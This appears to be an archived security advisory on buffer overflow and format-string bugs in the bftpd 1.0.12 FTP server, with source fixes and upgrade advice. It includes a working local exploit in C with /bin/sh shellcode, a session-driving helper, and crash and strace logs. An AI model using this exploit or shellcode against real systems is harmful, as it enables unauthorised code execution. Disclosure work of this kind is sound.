COMMAND

    bftpd

SYSTEMS AFFECTED

    bftpd-1.0.12

PROBLEM

    Christophe Bailleux found following.  bftpd is a Linux FTP  server
    with chroot and setreuid. Not  all FTP commands are included.   It
    accesses  either   the  user's   home  directory   or  its.    ftp
    subdirectory, and user authentication is via passwd/shadow or PAM.

    The lastest version of  BFTPD has potentials security  problems in
    the fuctions "sendstrf" and "dirlist" inside the "distlir.c"  file
    when  the  generated  file  by  the  output  of  the LIST and NLST
    commands is above 200 chars or holds strings form type %p%p%p%p

    A) Code problem
    ===============
    bftpd-1.0.12/dirlist.c - In the function "sendstrf":

        21  int sendstrf(int s, char *format, ...) {
        22    va_list val;
        23    char buffer[256];
        24    va_start(val, format);
        25    vnprintf(buffer,  format, val);  // Buffer Overflow
        26    va_end(val);
        27    return send(s, buffer, strlen(buffer), 0);
        28  }

    - In the function "dirlist"

        60        else
        61          foo = 1;
        62        sendstrf(s, entry->d_name); // Format Bug
        63      }

    B) Demo / gdb output
    ====================
    a)  Buffer overflow in the LIST command

        1- demo

        tshaw:~/longfile$ pwd

        /home/cb/longfile

        tshaw:~/longfile$ touch `perl -e 'print "A"x213'`
        tshaw:~/longfile$ ls

        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

        Connected to localhost.
        220 bftpd 1.0.12 at 127.0.0.1 ready.
        Name (localhost:cb): cb
        331 Password please.
        Password:
        230 User logged in.
        Remote system type is UNIX.
        Using binary mode to transfer files.
        ftp> cd longfile
        250 OK
        ftp> ls
        200 PORT 127.0.0.1:1858 OK
        150 Data connection established.
        drwxr-xr-x   2 1000     100          4096 Dec  8 02:53 .
        drwxr-xr-x  55 1000     100          4096 Dec  8 02:48 ..
        -rw-r--r--   1 1000     100             0 Dec  8 02:53 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
        421 Service not available, remote server has closed connection
        ftp>


        2- gdb output

        tshaw:/home/cb# gdb /usr/sbin/bftpd 29751
        GNU gdb 5.0
        Copyright 2000 Free Software Foundation, Inc.
        GDB is free software, covered by the GNU General Public License, and you are
        welcome to change it and/or distribute copies of it under certain conditions.
        Type "show copying" to see the conditions.
        There is absolutely no warranty for GDB.  Type "show warranty" for details.
        This GDB was configured as "i386-slackware-linux"...
        /home/cb/29751: No such file or directory.
        Attaching to program: /usr/sbin/bftpd, Pid 29751
        Reading symbols from /lib/libcrypt.so.1...done.
        Loaded symbols for /lib/libcrypt.so.1
        Reading symbols from /lib/libc.so.6...done.
        Loaded symbols for /lib/libc.so.6
        Reading symbols from /lib/ld-linux.so.2...done.
        Loaded symbols for /lib/ld-linux.so.2
        Reading symbols from /lib/libnss_compat.so.2...done.
        Loaded symbols for /lib/libnss_compat.so.2
        Reading symbols from /lib/libnsl.so.1...done.
        Loaded symbols for /lib/libnsl.so.1
        0x400e7514 in read () from /lib/libc.so.6
        (gdb) c
        Continuing.

        Program received signal SIGSEGV, Segmentation fault.
        0x41414141 in ?? ()
        (gdb) x $esp
        0xbffffadc:     0x41414141
        (gdb)


    b)  Format bug in the NLST command

        1- demo

        tshaw:~/longfile$ touch "%p%p%p%p%p%p%p%p%p%p"

        Connected to localhost.
        220 bftpd 1.0.12 at 127.0.0.1 ready.
        Name (localhost:cb): cb
        331 Password please.
        Password:
        230 User logged in.
        Remote system type is UNIX.
        Using binary mode to transfer files.
        ftp> cd longfile
        250 OK
        ftp> nlist
        200 PORT 127.0.0.1:1865 OK
        150 Data connection established.
        . .. 0xbffffd080x8049e500x804bb41(nil)(nil)0x10000000x804f4d8(nil)(nil)0x49
        226 Directory list has been submitted.
        ftp>




        tshaw:~/longfile$ touch "%s%s%s%s%s%s%s"

        Connected to localhost.
        220 bftpd 1.0.12 at 127.0.0.1 ready.
        Name (localhost:cb): cb
        331 Password please.
        Password:
        230 User logged in.
        Remote system type is UNIX.
        Using binary mode to transfer files.
        ftp> cd longfile
        250 OK
        ftp> ls
        200 PORT 127.0.0.1:1869 OK
        150 Data connection established.
        drwxr-xr-x   2 1000     100          4096 Dec  8 03:00 .
        drwxr-xr-x  55 1000     100          4096 Dec  8 02:48 ..
        -rw-r--r--   1 1000     100             0 Dec  8 03:00 %s%s%s%s%s%s%s
        226 Directory list has been submitted.
        ftp> nlist
        200 PORT 127.0.0.1:1871 OK
        150 Data connection established.
        . .. 421 Service not available, remote server has closed connection
        ftp>


        2- gdb output

        tshaw:/home/cb# gdb /usr/sbin/bftpd 29526
        GNU gdb 5.0
        Copyright 2000 Free Software Foundation, Inc.
        GDB is free software, covered by the GNU General Public License, and you are
        welcome to change it and/or distribute copies of it under certain conditions.
        Type "show copying" to see the conditions.
        There is absolutely no warranty for GDB.  Type "show warranty" for details.
        This GDB was configured as "i386-slackware-linux"...
        /home/cb/29526: No such file or directory.
        Attaching to program: /usr/sbin/bftpd, Pid 29526
        Reading symbols from /lib/libcrypt.so.1...done.
        Loaded symbols for /lib/libcrypt.so.1
        Reading symbols from /lib/libc.so.6...done.
        Loaded symbols for /lib/libc.so.6
        Reading symbols from /lib/ld-linux.so.2...done.
        Loaded symbols for /lib/ld-linux.so.2
        Reading symbols from /lib/libnss_compat.so.2...done.
        Loaded symbols for /lib/libnss_compat.so.2
        Reading symbols from /lib/libnsl.so.1...done.
        Loaded symbols for /lib/libnsl.so.1
        0x400e7514 in read () from /lib/libc.so.6
        (gdb) c
        Continuing.

        Program received signal SIGSEGV, Segmentation fault.
        0x4008d196 in vfprintf () from /lib/libc.so.6
        (gdb) where
        #0  0x4008d196 in vfprintf () from /lib/libc.so.6
        #1  0x40099f76 in vsnprintf () from /lib/libc.so.6
        #2  0x804a417 in sendstrf (s=4, format=0x804f577 "%s%s%s%s%s%s")
            at dirlist.c:26
        #3  0x804a670 in dirlist (name=0x804b64b ".", s=4, verbose=0 '\000')
            at dirlist.c:63
        #4  0x8049e55 in do_dirlist (dirname=0xbffffd08 "", verbose=0 '\000')
            at commands.c:314
        #5  0x8049e95 in command_nlst (dirname=0xbffffd08 "") at commands.c:324
        #6  0x804a37c in parsecmd (str=0xbffffd08 "") at commands.c:482
        #7  0x804ad2a in main (argc=1, argv=0xbffffe54) at main.c:129
        #8  0x400602e7 in __libc_start_main () from /lib/libc.so.6
        (gdb)

    It's  not  possible  to  exploit  it  with  a  standart exploit...
    bftpd-1.0.12/login.c contains a piece  of code using the  "chroot"
    and setregid functions,  and denying the  execution of /bin/sh  or
    another programz by a local user.

        41    if(chroot(str)) {
        42      fprintf(stderr, "421 Unable to change root directory.\r\n");
        43      exit(0);
        44    }

    The remote exploit it's not possible.

    With the following exploit, we can request bftpd (run by the  user
    "cb") to run the /bin/sh command.

    /*
    Creates a filname to exploit the bug in bftpd 1.0.12
    Create the file, cwd in the shell directory and nlist the file directory.

    Coded by korty <cb@grolier.fr>
    */

    #include <stdlib.h>
    #include <string.h>
    #include <stdio.h>
    #include <fcntl.h>


    #define LEN 205

    int main (int argc, char **argv)
    {
      char buf[LEN + 12];
      int  ret = 0xbffffa80;
      int  *p;
      int  fp;

      char code[]=

     /*
      *  Linux/x86
      *
      *  toupper() evasion, standard execve() /bin/sh (used eg. in various
      *  imapd exploits). Goes through a loop adding 0x20 to the
      *  (/bin/sh -= 0x20) string (ie. yields /bin/sh after addition).
      */

      /* main: */
      "\xeb\x29"                            /* jmp callz                   */
      /* start: */
      "\x5e"                                /* popl %esi                   */
      "\x29\xc9"                            /* subl %ecx, %ecx             */
      "\x89\xf3"                            /* movl %esi, %ebx             */
      "\x89\x5e\x08"                        /* movl %ebx, 0x08(%esi)       */
      "\xb1\x07"                            /* movb $0x07, %cl             */
      /* loopz: */
      "\x80\x03\x20"                        /* addb $0x20, (%ebx)          */
      "\x43"                                /* incl %ebx                   */
      "\xe0\xfa"                            /* loopne loopz                */
      "\x29\xc0"                            /* subl %eax, %eax             */
      "\x88\x46\x07"                        /* movb %al, 0x07(%esi)        */
      "\x89\x46\x0c"                        /* movl %eax, 0x0c(%esi)       */
      "\xb0\x0b"                            /* movb $0x0b, %al             */
      "\x87\xf3"                            /* xchgl %esi, %ebx            */
      "\x8d\x4b\x08"                        /* leal 0x08(%ebx), %ecx       */
      "\x8d\x53\x0c"                        /* leal 0x0c(%ebx), %edx       */
      "\xcd\x80"                            /* int $0x80                   */
      "\x29\xc0"                            /* subl %eax, %eax             */
      "\x40"                                /* incl %eax                   */
      "\xcd\x80"                            /* int $0x80                   */
      /* callz: */
      "\xe8\xd2\xff\xff\xff"                /* call start                  */
      "\x0f\x42\x49\x4e\x0f\x53\x48";       /* /bin/sh -= 0x20             */



      if (argc > 1) {
        ret += atoi(argv[1]);
        fprintf(stderr, "Using ret %#010x\n", ret);
      }

      memset(buf, '\x90', LEN);
      memcpy(buf + LEN - strlen(code), code, strlen(code));

      p = (int *) (buf + LEN);

      *p++ = ret;
      *p++ = ret;
      *p   = 0;

      fp = open(buf, O_CREAT);
      if(fp < 0) perror("buf");
      close(fp);

    }

    Run netcat on the port 1028 (nc -l -p 1028) and use that program.

    #include <stdio.h>

    int main()

    {

    #define USER "cb"
    #define PASS "PasSwoRd"
    #define PORT "port 127,0,0,1,4,4"  // Data on the port 1028 with the addr 127.0.0.1
    #define CWD "cwd longfile"
    #define LIST "list"

    printf("user %s\n", USER);
    sleep(1);
    printf("pass %s\n", PASS);
    sleep(1);
    printf("%s\n", PORT);
    sleep(1);
    printf("%s\n", CWD);
    sleep(1);
    printf("%s\n", LIST);

    }

    Demo:

        tshaw:~/longfile$ gcc -o exploit exploit.c
        tshaw:~/longfile$ ls
        exploit*  exploit.c  list.c
        tshaw:~/longfile$ ls
        exploit*  exploit.c  list.c
        tshaw:~/longfile$ ./exploit
        tshaw:~/longfile$ ls
        exploit*
        exploit.c
        list.c
        \220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
        \220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
        \220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
        \220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
        \220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
        \220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220
        \220\220\220\220\220\220\220\220\220\220\220\220\313)^)\311\211\323\211^\b\221\a\200\003\ C
        \300\332)\300\210F\a\211F\f\220\v\203\323\211K\b\211S\f\311\200)\300\@\311\200\310\322\333
        \333\333\013BIN\013SH\200\332\333\233\200\332\333\233*
        tshaw:~/longfile$

        tshaw:~/longfile$ gcc -o list list.c

        tshaw:~/longfile$ nc -l -p 1028 &
        [1] 29973
        tshaw:~/longfile$


        tshaw:~/longfile$ (./list ; cat) | nc localhost 21
        220 bftpd 1.0.12 at 127.0.0.1 ready.
        331 Password please.
        230 User logged in.
        200 PORT 127.0.0.1:1028 OK
        250 OK

        150 Data connection established.
        drwxr-xr-x   2 1000     100          4096 Dec  8 04:06 .
        drwxr-xr-x  55 1000     100          4096 Dec  8 04:02 ..
        -rw-r--r--   1 1000     100           323 Dec  8 04:06 list.c
        -rwxr-xr-x   1 1000     100         11931 Dec  8 04:06 list
        -rw-r--r--   1 1000     100          2178 Dec  8 03:54 exploit.c
        -rwxr-xr-x   1 1000     100         12861 Dec  8 03:56 exploit
        -r-xr--r--   1 1000     100             0 Dec  8 03:56 
        
        ë)^)ɉ󉱀 Càú)ÀˆF‰F
                                                                         °
                                                                          ‡óS
                                                                               Í€)À@Í€èÒÿÿÿBINSH€úÿ¿€úÿ¿

        [1]+  Done                    nc -l -p 1028
        tshaw:~/longfile$

    Strace output:

        tshaw:~# ps -aef |grep bftpd

        cb       30128    62  0 Dec04 ?        00:00:00 bftpd
        root     30136 30024  0 Dec04 ttyqa    00:00:00 grep bftpd

        tshaw:~# strace -p 30128

        read(0, "\n", 4096)                     = 1
        socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 4
        setsockopt(4, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0
        setsockopt(4, SOL_SOCKET, SO_SNDBUF, [65536], 4) = 0
        bind(4, {sin_family=AF_INET, sin_port=htons(0), sin_addr=inet_addr("127.0.0.1")}}, 16) = 0
        connect(4, {sin_family=AF_INET, sin_port=htons(1028), sin_addr=inet_addr("127.0.0.1")}}, 16) = 0
        write(2, "150 Data connection established."..., 34) = 34
        open("/dev/null", O_RDONLY|O_NONBLOCK|0x10000) = -1 ENOENT (No such file or directory)
        stat(".", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
        open(".", O_RDONLY|O_NONBLOCK|0x10000)  = 5
        fstat(5, {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
        fcntl(5, F_SETFD, FD_CLOEXEC)           = 0
        brk(0x8052000)                          = 0x8052000
        getdents(5, /* 7 entries */, 3933)      = 328
        stat("./.", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
        send(4, "drwxr-xr-x   2 1000     100     "..., 58, 0) = 58
        stat("./..", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
        send(4, "drwxr-xr-x  55 1000     100     "..., 59, 0) = 59
        stat("./list.c", {st_mode=S_IFREG|0644, st_size=323, ...}) = 0
        send(4, "-rw-r--r--   1 1000     100     "..., 63, 0) = 63
        stat("./list", {st_mode=S_IFREG|0755, st_size=11931, ...}) = 0
        send(4, "-rwxr-xr-x   1 1000     100     "..., 61, 0) = 61
        stat("./exploit.c", {st_mode=S_IFREG|0644, st_size=2178, ...}) = 0
        send(4, "-rw-r--r--   1 1000     100     "..., 66, 0) = 66
        stat("./exploit", {st_mode=S_IFREG|0755, st_size=12861, ...}) = 0
        send(4, "-rwxr-xr-x   1 1000     100     "..., 64, 0) = 64
        stat("./
        ë)^)ɉ󉱀 Càú)ÀˆF‰F
                          °
                           ‡óS
                                Í€)À@Í€èÒÿÿÿBINSH€úÿ¿€úÿ¿", {st_mode=S_IFREG|S_ISUID|0544, st_size=0, ...}) = 0
        send(4, "-r-xr--r--   1 1000     100     "..., 270, 0) = 270
        execve("/bin/sh", ["/bin/sh"], [/* 0 vars */]) = -1 ENOENT (No such file or directory)
        _exit(-1073743151)                      = ?

        tshaw:~#

    If we disable the chroot function in login.c, the exploit works.

SOLUTION

    A)  Buffer Overflow
    ===================
    In bftpd-1.0.11/dirlist.c modify the line 25

        vsprintf(buffer, format, val);

    by

        vsnprintf(buffer, sizeof(buffer), format, val);

    B)   Format Bug
    ===============
    In bftpd-1.0.11/dirlist.c modify the line 62

        sendstrf(s, entry->d_name);

    by

        sendstrf(s, "%s", entry->d_name);

    There were a  lot of bugs  in version 1.0.12.   Most of them  have
    already been fixed about  half a month ago,  but there was no  new
    version at that time.  Now that 1.0.13 has been released, everyone
    is urged to upgrade.